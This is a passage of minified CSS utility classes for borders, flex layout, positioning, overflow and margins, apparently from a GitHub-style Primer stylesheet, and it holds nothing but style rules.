!important;border-bottom-left-radius:8px !important}.rounded-lg-left-0{border-bottom-left-radius:0 !important;border-top-left-radius:0 !important}.rounded-lg-left-1{border-bottom-left-radius:4px !important;border-top-left-radius:4px !important}.rounded-lg-left-2{border-bottom-left-radius:6px !important;border-top-left-radius:6px !important}.rounded-lg-left-3{border-bottom-left-radius:8px !important;border-top-left-radius:8px !important}}@media(min-width: 1280px){.border-xl{border:1px solid var(--color-border-default) !important}.border-xl-0{border:0 !important}.border-xl-top{border-top:1px solid var(--color-border-default) !important}.border-xl-right{border-right:1px solid var(--color-border-default) !important}.border-xl-bottom{border-bottom:1px solid var(--color-border-default) !important}.border-xl-left{border-left:1px solid var(--color-border-default) !important}.border-xl-top-0{border-top:0 !important}.border-xl-right-0{border-right:0 !important}.border-xl-bottom-0{border-bottom:0 !important}.border-xl-left-0{border-left:0 !important}.rounded-xl{border-radius:6px !important}.rounded-xl-0{border-radius:0 !important}.rounded-xl-1{border-radius:4px !important}.rounded-xl-2{border-radius:6px !important}.rounded-xl-3{border-radius:8px !important}.rounded-xl-top-0{border-top-left-radius:0 !important;border-top-right-radius:0 !important}.rounded-xl-top-1{border-top-left-radius:4px !important;border-top-right-radius:4px !important}.rounded-xl-top-2{border-top-left-radius:6px !important;border-top-right-radius:6px !important}.rounded-xl-top-3{border-top-left-radius:8px !important;border-top-right-radius:8px !important}.rounded-xl-right-0{border-top-right-radius:0 !important;border-bottom-right-radius:0 !important}.rounded-xl-right-1{border-top-right-radius:4px !important;border-bottom-right-radius:4px !important}.rounded-xl-right-2{border-top-right-radius:6px !important;border-bottom-right-radius:6px !important}.rounded-xl-right-3{border-top-right-radius:8px !important;border-bottom-right-radius:8px !important}.rounded-xl-bottom-0{border-bottom-right-radius:0 !important;border-bottom-left-radius:0 !important}.rounded-xl-bottom-1{border-bottom-right-radius:4px !important;border-bottom-left-radius:4px !important}.rounded-xl-bottom-2{border-bottom-right-radius:6px !important;border-bottom-left-radius:6px !important}.rounded-xl-bottom-3{border-bottom-right-radius:8px !important;border-bottom-left-radius:8px !important}.rounded-xl-left-0{border-bottom-left-radius:0 !important;border-top-left-radius:0 !important}.rounded-xl-left-1{border-bottom-left-radius:4px !important;border-top-left-radius:4px !important}.rounded-xl-left-2{border-bottom-left-radius:6px !important;border-top-left-radius:6px !important}.rounded-xl-left-3{border-bottom-left-radius:8px !important;border-top-left-radius:8px !important}}.circle{border-radius:50% !important}.border-dashed{border-style:dashed !important}.color-shadow-small{box-shadow:var(--color-shadow-small) !important}.color-shadow-medium{box-shadow:var(--color-shadow-medium) !important}.color-shadow-large{box-shadow:var(--color-shadow-large) !important}.color-shadow-extra-large{box-shadow:var(--color-shadow-extra-large) !important}.box-shadow-none{box-shadow:none !important}.color-fg-default{color:var(--color-fg-default) !important}.color-fg-muted{color:var(--color-fg-muted) !important}.color-fg-subtle{color:var(--color-fg-subtle) !important}.color-fg-accent{color:var(--color-accent-fg) !important}.color-fg-success{color:var(--color-success-fg) !important}.color-fg-attention{color:var(--color-attention-fg) !important}.color-fg-severe{color:var(--color-severe-fg) !important}.color-fg-danger{color:var(--color-danger-fg) !important}.color-fg-open{color:var(--color-open-fg) !important}.color-fg-closed{color:var(--color-closed-fg) !important}.color-fg-done{color:var(--color-done-fg) !important}.color-fg-sponsors{color:var(--color-sponsors-fg) !important}.color-fg-on-emphasis{color:var(--color-fg-on-emphasis) !important}.color-bg-default{background-color:var(--color-canvas-default) !important}.color-bg-overlay{background-color:var(--color-canvas-overlay) !important}.color-bg-inset{background-color:var(--color-canvas-inset) !important}.color-bg-subtle{background-color:var(--color-canvas-subtle) !important}.color-bg-emphasis{background-color:var(--color-neutral-emphasis-plus) !important}.color-bg-accent{background-color:var(--color-accent-subtle) !important}.color-bg-accent-emphasis{background-color:var(--color-accent-emphasis) !important}.color-bg-success{background-color:var(--color-success-subtle) !important}.color-bg-success-emphasis{background-color:var(--color-success-emphasis) !important}.color-bg-attention{background-color:var(--color-attention-subtle) !important}.color-bg-attention-emphasis{background-color:var(--color-attention-emphasis) !important}.color-bg-severe{background-color:var(--color-severe-subtle) !important}.color-bg-severe-emphasis{background-color:var(--color-severe-emphasis) !important}.color-bg-danger{background-color:var(--color-danger-subtle) !important}.color-bg-danger-emphasis{background-color:var(--color-danger-emphasis) !important}.color-bg-open{background-color:var(--color-open-subtle) !important}.color-bg-open-emphasis{background-color:var(--color-open-emphasis) !important}.color-bg-closed{background-color:var(--color-closed-subtle) !important}.color-bg-closed-emphasis{background-color:var(--color-closed-emphasis) !important}.color-bg-done{background-color:var(--color-done-subtle) !important}.color-bg-done-emphasis{background-color:var(--color-done-emphasis) !important}.color-bg-sponsors{background-color:var(--color-sponsors-subtle) !important}.color-bg-sponsors-emphasis{background-color:var(--color-sponsors-emphasis) !important}.color-bg-transparent{background-color:transparent !important}.color-border-default{border-color:var(--color-border-default) !important}.color-border-muted{border-color:var(--color-border-muted) !important}.color-border-subtle{border-color:var(--color-border-subtle) !important}.color-border-accent{border-color:var(--color-accent-muted) !important}.color-border-accent-emphasis{border-color:var(--color-accent-emphasis) !important}.color-border-success{border-color:var(--color-success-muted) !important}.color-border-success-emphasis{border-color:var(--color-success-emphasis) !important}.color-border-attention{border-color:var(--color-attention-muted) !important}.color-border-attention-emphasis{border-color:var(--color-attention-emphasis) !important}.color-border-severe{border-color:var(--color-severe-muted) !important}.color-border-severe-emphasis{border-color:var(--color-severe-emphasis) !important}.color-border-danger{border-color:var(--color-danger-muted) !important}.color-border-danger-emphasis{border-color:var(--color-danger-emphasis) !important}.color-border-open{border-color:var(--color-open-muted) !important}.color-border-open-emphasis{border-color:var(--color-open-emphasis) !important}.color-border-closed{border-color:var(--color-closed-muted) !important}.color-border-closed-emphasis{border-color:var(--color-closed-emphasis) !important}.color-border-done{border-color:var(--color-done-muted) !important}.color-border-done-emphasis{border-color:var(--color-done-emphasis) !important}.color-border-sponsors{border-color:var(--color-sponsors-muted) !important}.color-border-sponsors-emphasis{border-color:var(--color-sponsors-emphasis) !important}.color-fg-inherit{color:inherit !important}.details-overlay[open]>summary::before{position:fixed;top:0;right:0;bottom:0;left:0;z-index:80;display:block;cursor:default;content:" ";background:transparent}.details-overlay-dark[open]>summary::before{z-index:111;background:var(--color-primer-canvas-backdrop)}.details-reset>summary{list-style:none;transition:80ms cubic-bezier(0.33, 1, 0.68, 1);transition-property:color,background-color,box-shadow,border-color}.details-reset>summary:focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:none}.details-reset>summary:focus:not(:focus-visible){outline:solid 1px transparent}.details-reset>summary:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:none}.details-reset>summary.btn-primary:focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.details-reset>summary.btn-primary:focus:not(:focus-visible){outline:solid 1px transparent;box-shadow:none}.details-reset>summary.btn-primary:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.details-reset>summary::before{display:none}.details-reset>summary::-webkit-details-marker{display:none}.details-overlay>summary{transition:80ms cubic-bezier(0.33, 1, 0.68, 1);transition-property:color,background-color,box-shadow,border-color}.details-overlay>summary:focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:none}.details-overlay>summary:focus:not(:focus-visible){outline:solid 1px transparent}.details-overlay>summary:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:none}.details-overlay>summary.btn-primary:focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.details-overlay>summary.btn-primary:focus:not(:focus-visible){outline:solid 1px transparent;box-shadow:none}.details-overlay>summary.btn-primary:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.flex-row{flex-direction:row !important}.flex-row-reverse{flex-direction:row-reverse !important}.flex-column{flex-direction:column !important}.flex-column-reverse{flex-direction:column-reverse !important}.flex-wrap{flex-wrap:wrap !important}.flex-nowrap{flex-wrap:nowrap !important}.flex-wrap-reverse{flex-wrap:wrap-reverse !important}.flex-justify-start{justify-content:flex-start !important}.flex-justify-end{justify-content:flex-end !important}.flex-justify-center{justify-content:center !important}.flex-justify-between{justify-content:space-between !important}.flex-justify-around{justify-content:space-around !important}.flex-items-start{align-items:flex-start !important}.flex-items-end{align-items:flex-end !important}.flex-items-center{align-items:center !important}.flex-items-baseline{align-items:baseline !important}.flex-items-stretch{align-items:stretch !important}.flex-content-start{align-content:flex-start !important}.flex-content-end{align-content:flex-end !important}.flex-content-center{align-content:center !important}.flex-content-between{align-content:space-between !important}.flex-content-around{align-content:space-around !important}.flex-content-stretch{align-content:stretch !important}.flex-1{flex:1 !important}.flex-auto{flex:auto !important}.flex-grow-0{flex-grow:0 !important}.flex-shrink-0{flex-shrink:0 !important}.flex-self-auto{align-self:auto !important}.flex-self-start{align-self:flex-start !important}.flex-self-end{align-self:flex-end !important}.flex-self-center{align-self:center !important}.flex-self-baseline{align-self:baseline !important}.flex-self-stretch{align-self:stretch !important}.flex-order-1{order:1 !important}.flex-order-2{order:2 !important}.flex-order-none{order:inherit !important}@media(min-width: 544px){.flex-sm-row{flex-direction:row !important}.flex-sm-row-reverse{flex-direction:row-reverse !important}.flex-sm-column{flex-direction:column !important}.flex-sm-column-reverse{flex-direction:column-reverse !important}.flex-sm-wrap{flex-wrap:wrap !important}.flex-sm-nowrap{flex-wrap:nowrap !important}.flex-sm-wrap-reverse{flex-wrap:wrap-reverse !important}.flex-sm-justify-start{justify-content:flex-start !important}.flex-sm-justify-end{justify-content:flex-end !important}.flex-sm-justify-center{justify-content:center !important}.flex-sm-justify-between{justify-content:space-between !important}.flex-sm-justify-around{justify-content:space-around !important}.flex-sm-items-start{align-items:flex-start !important}.flex-sm-items-end{align-items:flex-end !important}.flex-sm-items-center{align-items:center !important}.flex-sm-items-baseline{align-items:baseline !important}.flex-sm-items-stretch{align-items:stretch !important}.flex-sm-content-start{align-content:flex-start !important}.flex-sm-content-end{align-content:flex-end !important}.flex-sm-content-center{align-content:center !important}.flex-sm-content-between{align-content:space-between !important}.flex-sm-content-around{align-content:space-around !important}.flex-sm-content-stretch{align-content:stretch !important}.flex-sm-1{flex:1 !important}.flex-sm-auto{flex:auto !important}.flex-sm-grow-0{flex-grow:0 !important}.flex-sm-shrink-0{flex-shrink:0 !important}.flex-sm-self-auto{align-self:auto !important}.flex-sm-self-start{align-self:flex-start !important}.flex-sm-self-end{align-self:flex-end !important}.flex-sm-self-center{align-self:center !important}.flex-sm-self-baseline{align-self:baseline !important}.flex-sm-self-stretch{align-self:stretch !important}.flex-sm-order-1{order:1 !important}.flex-sm-order-2{order:2 !important}.flex-sm-order-none{order:inherit !important}}@media(min-width: 768px){.flex-md-row{flex-direction:row !important}.flex-md-row-reverse{flex-direction:row-reverse !important}.flex-md-column{flex-direction:column !important}.flex-md-column-reverse{flex-direction:column-reverse !important}.flex-md-wrap{flex-wrap:wrap !important}.flex-md-nowrap{flex-wrap:nowrap !important}.flex-md-wrap-reverse{flex-wrap:wrap-reverse !important}.flex-md-justify-start{justify-content:flex-start !important}.flex-md-justify-end{justify-content:flex-end !important}.flex-md-justify-center{justify-content:center !important}.flex-md-justify-between{justify-content:space-between !important}.flex-md-justify-around{justify-content:space-around !important}.flex-md-items-start{align-items:flex-start !important}.flex-md-items-end{align-items:flex-end !important}.flex-md-items-center{align-items:center !important}.flex-md-items-baseline{align-items:baseline !important}.flex-md-items-stretch{align-items:stretch !important}.flex-md-content-start{align-content:flex-start !important}.flex-md-content-end{align-content:flex-end !important}.flex-md-content-center{align-content:center !important}.flex-md-content-between{align-content:space-between !important}.flex-md-content-around{align-content:space-around !important}.flex-md-content-stretch{align-content:stretch !important}.flex-md-1{flex:1 !important}.flex-md-auto{flex:auto !important}.flex-md-grow-0{flex-grow:0 !important}.flex-md-shrink-0{flex-shrink:0 !important}.flex-md-self-auto{align-self:auto !important}.flex-md-self-start{align-self:flex-start !important}.flex-md-self-end{align-self:flex-end !important}.flex-md-self-center{align-self:center !important}.flex-md-self-baseline{align-self:baseline !important}.flex-md-self-stretch{align-self:stretch !important}.flex-md-order-1{order:1 !important}.flex-md-order-2{order:2 !important}.flex-md-order-none{order:inherit !important}}@media(min-width: 1012px){.flex-lg-row{flex-direction:row !important}.flex-lg-row-reverse{flex-direction:row-reverse !important}.flex-lg-column{flex-direction:column !important}.flex-lg-column-reverse{flex-direction:column-reverse !important}.flex-lg-wrap{flex-wrap:wrap !important}.flex-lg-nowrap{flex-wrap:nowrap !important}.flex-lg-wrap-reverse{flex-wrap:wrap-reverse !important}.flex-lg-justify-start{justify-content:flex-start !important}.flex-lg-justify-end{justify-content:flex-end !important}.flex-lg-justify-center{justify-content:center !important}.flex-lg-justify-between{justify-content:space-between !important}.flex-lg-justify-around{justify-content:space-around !important}.flex-lg-items-start{align-items:flex-start !important}.flex-lg-items-end{align-items:flex-end !important}.flex-lg-items-center{align-items:center !important}.flex-lg-items-baseline{align-items:baseline !important}.flex-lg-items-stretch{align-items:stretch !important}.flex-lg-content-start{align-content:flex-start !important}.flex-lg-content-end{align-content:flex-end !important}.flex-lg-content-center{align-content:center !important}.flex-lg-content-between{align-content:space-between !important}.flex-lg-content-around{align-content:space-around !important}.flex-lg-content-stretch{align-content:stretch !important}.flex-lg-1{flex:1 !important}.flex-lg-auto{flex:auto !important}.flex-lg-grow-0{flex-grow:0 !important}.flex-lg-shrink-0{flex-shrink:0 !important}.flex-lg-self-auto{align-self:auto !important}.flex-lg-self-start{align-self:flex-start !important}.flex-lg-self-end{align-self:flex-end !important}.flex-lg-self-center{align-self:center !important}.flex-lg-self-baseline{align-self:baseline !important}.flex-lg-self-stretch{align-self:stretch !important}.flex-lg-order-1{order:1 !important}.flex-lg-order-2{order:2 !important}.flex-lg-order-none{order:inherit !important}}@media(min-width: 1280px){.flex-xl-row{flex-direction:row !important}.flex-xl-row-reverse{flex-direction:row-reverse !important}.flex-xl-column{flex-direction:column !important}.flex-xl-column-reverse{flex-direction:column-reverse !important}.flex-xl-wrap{flex-wrap:wrap !important}.flex-xl-nowrap{flex-wrap:nowrap !important}.flex-xl-wrap-reverse{flex-wrap:wrap-reverse !important}.flex-xl-justify-start{justify-content:flex-start !important}.flex-xl-justify-end{justify-content:flex-end !important}.flex-xl-justify-center{justify-content:center !important}.flex-xl-justify-between{justify-content:space-between !important}.flex-xl-justify-around{justify-content:space-around !important}.flex-xl-items-start{align-items:flex-start !important}.flex-xl-items-end{align-items:flex-end !important}.flex-xl-items-center{align-items:center !important}.flex-xl-items-baseline{align-items:baseline !important}.flex-xl-items-stretch{align-items:stretch !important}.flex-xl-content-start{align-content:flex-start !important}.flex-xl-content-end{align-content:flex-end !important}.flex-xl-content-center{align-content:center !important}.flex-xl-content-between{align-content:space-between !important}.flex-xl-content-around{align-content:space-around !important}.flex-xl-content-stretch{align-content:stretch !important}.flex-xl-1{flex:1 !important}.flex-xl-auto{flex:auto !important}.flex-xl-grow-0{flex-grow:0 !important}.flex-xl-shrink-0{flex-shrink:0 !important}.flex-xl-self-auto{align-self:auto !important}.flex-xl-self-start{align-self:flex-start !important}.flex-xl-self-end{align-self:flex-end !important}.flex-xl-self-center{align-self:center !important}.flex-xl-self-baseline{align-self:baseline !important}.flex-xl-self-stretch{align-self:stretch !important}.flex-xl-order-1{order:1 !important}.flex-xl-order-2{order:2 !important}.flex-xl-order-none{order:inherit !important}}.position-static{position:static !important}.position-relative{position:relative !important}.position-absolute{position:absolute !important}.position-fixed{position:fixed !important}.position-sticky{position:sticky !important}@media(min-width: 544px){.position-sm-static{position:static !important}.position-sm-relative{position:relative !important}.position-sm-absolute{position:absolute !important}.position-sm-fixed{position:fixed !important}.position-sm-sticky{position:sticky !important}}@media(min-width: 768px){.position-md-static{position:static !important}.position-md-relative{position:relative !important}.position-md-absolute{position:absolute !important}.position-md-fixed{position:fixed !important}.position-md-sticky{position:sticky !important}}@media(min-width: 1012px){.position-lg-static{position:static !important}.position-lg-relative{position:relative !important}.position-lg-absolute{position:absolute !important}.position-lg-fixed{position:fixed !important}.position-lg-sticky{position:sticky !important}}@media(min-width: 1280px){.position-xl-static{position:static !important}.position-xl-relative{position:relative !important}.position-xl-absolute{position:absolute !important}.position-xl-fixed{position:fixed !important}.position-xl-sticky{position:sticky !important}}.top-0{top:0 !important}.right-0{right:0 !important}.bottom-0{bottom:0 !important}.left-0{left:0 !important}.top-auto{top:auto !important}.right-auto{right:auto !important}.bottom-auto{bottom:auto !important}.left-auto{left:auto !important}@media(min-width: 544px){.top-sm-0{top:0 !important}.right-sm-0{right:0 !important}.bottom-sm-0{bottom:0 !important}.left-sm-0{left:0 !important}.top-sm-auto{top:auto !important}.right-sm-auto{right:auto !important}.bottom-sm-auto{bottom:auto !important}.left-sm-auto{left:auto !important}}@media(min-width: 768px){.top-md-0{top:0 !important}.right-md-0{right:0 !important}.bottom-md-0{bottom:0 !important}.left-md-0{left:0 !important}.top-md-auto{top:auto !important}.right-md-auto{right:auto !important}.bottom-md-auto{bottom:auto !important}.left-md-auto{left:auto !important}}@media(min-width: 1012px){.top-lg-0{top:0 !important}.right-lg-0{right:0 !important}.bottom-lg-0{bottom:0 !important}.left-lg-0{left:0 !important}.top-lg-auto{top:auto !important}.right-lg-auto{right:auto !important}.bottom-lg-auto{bottom:auto !important}.left-lg-auto{left:auto !important}}@media(min-width: 1280px){.top-xl-0{top:0 !important}.right-xl-0{right:0 !important}.bottom-xl-0{bottom:0 !important}.left-xl-0{left:0 !important}.top-xl-auto{top:auto !important}.right-xl-auto{right:auto !important}.bottom-xl-auto{bottom:auto !important}.left-xl-auto{left:auto !important}}.v-align-middle{vertical-align:middle !important}.v-align-top{vertical-align:top !important}.v-align-bottom{vertical-align:bottom !important}.v-align-text-top{vertical-align:text-top !important}.v-align-text-bottom{vertical-align:text-bottom !important}.v-align-baseline{vertical-align:baseline !important}.overflow-visible{overflow:visible !important}.overflow-x-visible{overflow-x:visible !important}.overflow-y-visible{overflow-y:visible !important}.overflow-hidden{overflow:hidden !important}.overflow-x-hidden{overflow-x:hidden !important}.overflow-y-hidden{overflow-y:hidden !important}.overflow-auto{overflow:auto !important}.overflow-x-auto{overflow-x:auto !important}.overflow-y-auto{overflow-y:auto !important}.overflow-scroll{overflow:scroll !important}.overflow-x-scroll{overflow-x:scroll !important}.overflow-y-scroll{overflow-y:scroll !important}@media(min-width: 544px){.overflow-sm-visible{overflow:visible !important}.overflow-sm-x-visible{overflow-x:visible !important}.overflow-sm-y-visible{overflow-y:visible !important}.overflow-sm-hidden{overflow:hidden !important}.overflow-sm-x-hidden{overflow-x:hidden !important}.overflow-sm-y-hidden{overflow-y:hidden !important}.overflow-sm-auto{overflow:auto !important}.overflow-sm-x-auto{overflow-x:auto !important}.overflow-sm-y-auto{overflow-y:auto !important}.overflow-sm-scroll{overflow:scroll !important}.overflow-sm-x-scroll{overflow-x:scroll !important}.overflow-sm-y-scroll{overflow-y:scroll !important}}@media(min-width: 768px){.overflow-md-visible{overflow:visible !important}.overflow-md-x-visible{overflow-x:visible !important}.overflow-md-y-visible{overflow-y:visible !important}.overflow-md-hidden{overflow:hidden !important}.overflow-md-x-hidden{overflow-x:hidden !important}.overflow-md-y-hidden{overflow-y:hidden !important}.overflow-md-auto{overflow:auto !important}.overflow-md-x-auto{overflow-x:auto !important}.overflow-md-y-auto{overflow-y:auto !important}.overflow-md-scroll{overflow:scroll !important}.overflow-md-x-scroll{overflow-x:scroll !important}.overflow-md-y-scroll{overflow-y:scroll !important}}@media(min-width: 1012px){.overflow-lg-visible{overflow:visible !important}.overflow-lg-x-visible{overflow-x:visible !important}.overflow-lg-y-visible{overflow-y:visible !important}.overflow-lg-hidden{overflow:hidden !important}.overflow-lg-x-hidden{overflow-x:hidden !important}.overflow-lg-y-hidden{overflow-y:hidden !important}.overflow-lg-auto{overflow:auto !important}.overflow-lg-x-auto{overflow-x:auto !important}.overflow-lg-y-auto{overflow-y:auto !important}.overflow-lg-scroll{overflow:scroll !important}.overflow-lg-x-scroll{overflow-x:scroll !important}.overflow-lg-y-scroll{overflow-y:scroll !important}}@media(min-width: 1280px){.overflow-xl-visible{overflow:visible !important}.overflow-xl-x-visible{overflow-x:visible !important}.overflow-xl-y-visible{overflow-y:visible !important}.overflow-xl-hidden{overflow:hidden !important}.overflow-xl-x-hidden{overflow-x:hidden !important}.overflow-xl-y-hidden{overflow-y:hidden !important}.overflow-xl-auto{overflow:auto !important}.overflow-xl-x-auto{overflow-x:auto !important}.overflow-xl-y-auto{overflow-y:auto !important}.overflow-xl-scroll{overflow:scroll !important}.overflow-xl-x-scroll{overflow-x:scroll !important}.overflow-xl-y-scroll{overflow-y:scroll !important}}.clearfix::before{display:table;content:""}.clearfix::after{display:table;clear:both;content:""}.float-left{float:left !important}.float-right{float:right !important}.float-none{float:none !important}@media(min-width: 544px){.float-sm-left{float:left !important}.float-sm-right{float:right !important}.float-sm-none{float:none !important}}@media(min-width: 768px){.float-md-left{float:left !important}.float-md-right{float:right !important}.float-md-none{float:none !important}}@media(min-width: 1012px){.float-lg-left{float:left !important}.float-lg-right{float:right !important}.float-lg-none{float:none !important}}@media(min-width: 1280px){.float-xl-left{float:left !important}.float-xl-right{float:right !important}.float-xl-none{float:none !important}}.width-fit{max-width:100% !important}.width-full{width:100% !important}.height-fit{max-height:100% !important}.height-full{height:100% !important}.min-width-0{min-width:0 !important}.width-auto{width:auto !important}.direction-rtl{direction:rtl !important}.direction-ltr{direction:ltr !important}@media(min-width: 544px){.width-sm-auto{width:auto !important}.direction-sm-rtl{direction:rtl !important}.direction-sm-ltr{direction:ltr !important}}@media(min-width: 768px){.width-md-auto{width:auto !important}.direction-md-rtl{direction:rtl !important}.direction-md-ltr{direction:ltr !important}}@media(min-width: 1012px){.width-lg-auto{width:auto !important}.direction-lg-rtl{direction:rtl !important}.direction-lg-ltr{direction:ltr !important}}@media(min-width: 1280px){.width-xl-auto{width:auto !important}.direction-xl-rtl{direction:rtl !important}.direction-xl-ltr{direction:ltr !important}}.m-0{margin:0 !important}.mt-0{margin-top:0 !important}.mb-0{margin-bottom:0 !important}.mr-0{margin-right:0 !important}.ml-0{margin-left:0 !important}.mx-0{margin-right:0 !important;margin-left:0 !important}.my-0{margin-top:0 !important;margin-bottom:0 !important}.m-1{margin:4px !important}.mt-1{margin-top:4px !important}.mb-1{margin-bottom:4px !important}.mr-1{margin-right:4px !important}.ml-1{margin-left:4px !important}.mt-n1{margin-top:-4px !important}.mb-n1{margin-bottom:-4px !important}.mr-n1{margin-right:-4px !important}.ml-n1{margin-left:-4px !important}.mx-1{margin-right:4px !important;margin-left:4px !important}.my-1{margin-top:4px !important;margin-bottom:4px !important}.m-2{margin:8px !important}.mt-2{margin-top:8px !important}.mb-2{margin-bottom:8px !important}.mr-2{margin-right:8px !important}.ml-2{margin-left:8px !important}.mt-n2{margin-top:-8px !important}.mb-n2{margin-bottom:-8px !important}.mr-n2{margin-right:-8px !important}.ml-n2{margin-left:-8px !important}.mx-2{margin-right:8px !important;margin-left:8px !important}.my-2{margin-top:8px !important;margin-bottom:8px !important}.m-3{margin:16px !important}.mt-3{margin-top:16px !important}.mb-3{margin-bottom:16px !important}.mr-3{margin-right:16px !important}.ml-3{margin-left:16px !important}.mt-n3{margin-top:-16px !important}.mb-n3{margin-bottom:-16px !important}.mr-n3{margin-right:-16px !important}.ml-n3{margin-left:-16px !important}.mx-3{margin-right:16px !important;margin-left:16px !important}.my-3{margin-top:16px !important;margin-bottom:16px !important}.m-4{margin:24px !important}.mt-4{margin-top:24px !important}.mb-4{margin-bottom:24px !important}.mr-4{margin-right:24px !important}.ml-4{margin-left:24px !important}.mt-n4{margin-top:-24px !important}.mb-n4{margin-bottom:-24px !important}.mr-n4{margin-right:-24px !important}.ml-n4{margin-left:-24px !important}.mx-4{margin-right:24px !important;margin-left:24px !important}.my-4{margin-top:24px !important;margin-bottom:24px !important}.m-5{margin:32px !important}.mt-5{margin-top:32px !important}.mb-5{margin-bottom:32px !important}.mr-5{margin-right:32px !important}.ml-5{margin-left:32px !important}.mt-n5{margin-top:-32px !important}.mb-n5{margin-bottom:-32px !important}.mr-n5{margin-right:-32px !important}.ml-n5{margin-left:-32px !important}.mx-5{margin-right:32px !important;margin-left:32px !important}.my-5{margin-top:32px !important;margin-bottom:32px !important}.m-6{margin:40px !important}.mt-6{margin-top:40px !important}.mb-6{margin-bottom:40px !important}.mr-6{margin-right:40px !important}.ml-6{margin-left:40px !important}.mt-n6{margin-top:-40px !important}.mb-n6{margin-bottom:-40px !important}.mr-n6{margin-right:-40px !important}.ml-n6{margin-left:-40px !important}.mx-6{margin-right:40px !important;margin-left:40px !important}.my-6{margin-top:40px !important;margin-bottom:40px !important}.mt-7{margin-top:48px !important}.mb-7{margin-bottom:48px !important}.mt-n7{margin-top:-48px !important}.mb-n7{margin-bottom:-48px !important}.my-7{margin-top:48px !important;margin-bottom:48px !important}.mt-8{margin-top:64px !important}.mb-8{margin-bottom:64px !important}.mt-n8{margin-top:-64px !important}.mb-n8{margin-bottom:-64px !important}.my-8{margin-top:64px !important;margin-bottom:64px !important}.mt-9{margin-top:80px !important}.mb-9{margin-bottom:80px !important}.mt-n9{margin-top:-80px !important}.mb-n9{margin-bottom:-80px !important}.my-9{margin-top:80px !important;margin-bottom:80px !important}.mt-10{margin-top:96px !important}.mb-10{margin-bottom:96px !important}.mt-n10{margin-top:-96px !important}.mb-n10{margin-bottom:-96px !important}.my-10{margin-top:96px !important;margin-bottom:96px !important}.mt-11{margin-top:112px !important}.mb-11{margin-bottom:112px !important}.mt-n11{margin-top:-112px !important}.mb-n11{margin-bottom:-112px !important}.my-11{margin-top:112px !important;margin-bottom:112px !important}.mt-12{margin-top:128px !important}.mb-12{margin-bottom:128px !important}.mt-n12{margin-top:-128px !important}.mb-n12{margin-bottom:-128px !important}.my-12{margin-top:128px !important;margin-bottom:128px !important}.mx-auto{margin-right:auto !important;margin-left:auto !important}@media(min-width: 544px){.m-sm-0{margin:0 !important}.mt-sm-0{margin-top:0 !important}.mb-sm-0{margin-bottom:0 !important}.mr-sm-0{margin-right:0 !important}.ml-sm-0{margin-left:0 !important}.mx-sm-0{margin-right:0 !important;margin-left:0 !important}.my-sm-0{margin-top:0 !important;margin-bottom:0 !important}.m-sm-1{margin:4px !important}.mt-sm-1{margin-top:4px !important}.mb-sm-1{margin-bottom:4px !important}.mr-sm-1{margin-right:4px !important}.ml-sm-1{margin-left:4px !important}.mt-sm-n1{margin-top:-4px !important}.mb-sm-n1{margin-bottom:-4px !important}.mr-sm-n1{margin-right:-4px !important}.ml-sm-n1{margin-left:-4px !important}.mx-sm-1{margin-right:4px !important;margin-left:4px !important}.my-sm-1{margin-top:4px !important;margin-bottom:4px !important}.m-sm-2{margin:8px !important}.mt-sm-2{margin-top:8px !important}.mb-sm-2{margin-bottom:8px !important}.mr-sm-2{margin-right:8px !important}.ml-sm-2{margin-left:8px !important}.mt-sm-n2{margin-top:-8px !important}.mb-sm-n2{margin-bottom:-8px !important}.mr-sm-n2{margin-right:-8px !important}.ml-sm-n2{margin-left:-8px !important}.mx-sm-2{margin-right:8px !important;margin-left:8px !important}.my-sm-2{margin-top:8px !important;margin-bottom:8px !important}.m-sm-3{margin:16px !important}.mt-sm-3{margin-top:16px !important}.mb-sm-3{margin-bottom:16px !important}.mr-sm-3{margin-right:16px !important}.ml-sm-3{margin-left:16px !important}.mt-sm-n3{margin-top:-16px !important}.mb-sm-n3{margin-bottom:-16px !important}.mr-sm-n3{margin-right:-16px !important}.ml-sm-n3{margin-left:-16px !important}.mx-sm-3{margin-right:16px !important;margin-left:16px !important}.my-sm-3{margin-top:16px !important;margin-bottom:16px !important}.m-sm-4{margin:24px !important}.mt-sm-4{margin-top:24px !important}.mb-sm-4{margin-bottom:24px !important}.mr-sm-4{margin-right:24px !important}.ml-sm-4{margin-left:24px !important}.mt-sm-n4{margin-top:-24px !important}.mb-sm-n4{margin-bottom:-24px !important}.mr-sm-n4{margin-right:-24px !important}.ml-sm-n4{margin-left:-24px !important}.mx-sm-4{margin-right:24px !important;margin-left:24px !important}.my-sm-4{margin-top:24px !important;margin-bottom:24px !important}.m-sm-5{margin:32px !important}.mt-sm-5{margin-top:32px !important}.mb-sm-5{margin-bottom:32px !important}.mr-sm-5{margin-right:32px !important}.ml-sm-5{margin-left:32px !important}.mt-sm-n5{margin-top:-32px !important}.mb-sm-n5{margin-bottom:-32px !important}.mr-sm-n5{margin-right:-32px !important}.ml-sm-n5{margin-left:-32px !important}.mx-sm-5{margin-right:32px !important;margin-left:32px !important}.my-sm-5{margin-top:32px !important;margin-bottom:32px !important}.m-sm-6{margin:40px !important}.mt-sm-6{margin-top:40px !important}.mb-sm-6{margin-bottom:40px !important}.mr-sm-6{margin-right:40px !important}.ml-sm-6{margin-left:40px !important}.mt-sm-n6{margin-top:-40px !important}.mb-sm-n6{margin-bottom:-40px !important}.mr-sm-n6{margin-right:-40px !important}.ml-sm-n6{margin-left:-40px !important}.mx-sm-6{margin-right:40px !important;margin-left:40px !important}.my-sm-6{margin-top:40px !important;margin-bottom:40px !important}.mt-sm-7{margin-top:48px !important}.mb-sm-7{margin-bottom:48px !important}.mt-sm-n7{margin-top:-48px !important}.mb-sm-n7{margin-bottom:-48px !important}.my-sm-7{margin-top:48px !important;margin-bottom:48px !important}.mt-sm-8{margin-top:64px !important}.mb-sm-8{margin-bottom:64px 